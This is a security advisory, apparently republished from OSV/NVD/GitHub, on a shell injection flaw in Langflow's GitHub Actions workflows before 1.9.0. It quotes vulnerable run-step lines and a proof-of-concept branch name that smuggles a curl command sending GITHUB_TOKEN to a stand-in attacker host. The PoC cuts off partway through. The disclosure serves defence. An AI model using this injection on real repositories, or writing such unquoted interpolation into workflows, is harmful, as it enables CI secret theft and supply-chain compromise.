Langflow GitHub Actions Shell Injection
概要
Langflow GitHub Actions Shell Injection
原文の説明
取得元が公開している説明をそのまま載せています (多くは英語)。
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
Details
Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
Or:
run: npx playwright install ${{ inputs.browsers }} --with-deps
Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.
PoC
- Fork the Langflow repository
- Create a new branch with the name:
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN - Open a Pull Request to the main branch from the new branch
- GitHub Actions will run…
出典: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV
参照URL
- advisory github.com
- advisory github.com
- advisory nvd.nist.gov